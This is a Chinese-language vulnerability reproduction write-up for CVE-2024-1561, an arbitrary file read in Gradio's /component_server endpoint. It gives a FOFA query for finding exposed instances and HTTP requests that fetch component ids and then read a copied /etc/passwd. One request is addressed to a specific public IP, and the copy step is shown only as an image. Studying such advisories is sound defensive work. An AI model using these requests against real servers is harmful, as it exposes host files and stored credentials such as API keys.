登录 白背景

python Gradio插件存在任意文件读取漏洞(CVE-2024-1561)

一、漏洞简介

Gradio是一个开源的Python库,用于创建机器学习模型的交互式界面。它使得展示和测试模型变得简单快捷,无需深入了解复杂的前端技术。广泛应用于数据科学、教育、研究和软件开发领域,尤其适合于快速原型设计、模型验证、演示和教学。Gradio的/component_server接口不正确地允许使用攻击者控制的参数调用Component类的任何方法。具体来说,通过利用Block类的move_resource_to_block_cache()方法,攻击者可以将文件系统上的任何文件复制到临时目录,然后检索它。该漏洞允许未经授权的本地文件读取访问,尤其是当应用程序通过launch(share=True)暴露到互联网时,从而允许远程攻击者读取主机机器上的文件。此外,托管在huggingface.co上的gradio应用也受到影响,可能导致敏感信息,如存储在环境变量中的API密钥和凭据的泄露。

二、影响版本

  • Gradio

三、资产测绘

  • fofabody="__gradio_mode__"

1716302666272-e9be2ee3-0f10-483a-a8fa-f8f167765e0b.png

四、漏洞复现

首席获取components的id值

GET /config HTTP/1.1
Host: 101.35.228.120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

1716302792557-a7a11abb-0428-4661-85d9-7ce32a833f24.png

携带id值将/etc/passwd文件的内容写入临时文件

1716302852140-3adae7b1-e986-40c4-afd1-3cbd5ff25060.png

读取文件

GET /file=/tmp/gradio/4985ef451ed671433e69560a0edc00761e44efab/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Accept-Encoding: gzip

1716302894039-110b1ea7-9212-458a-9672-2ea39a58508a.png

原文: https://www.yuque.com/xiaokp7/ocvun2/sh67wp3qcrzx75qv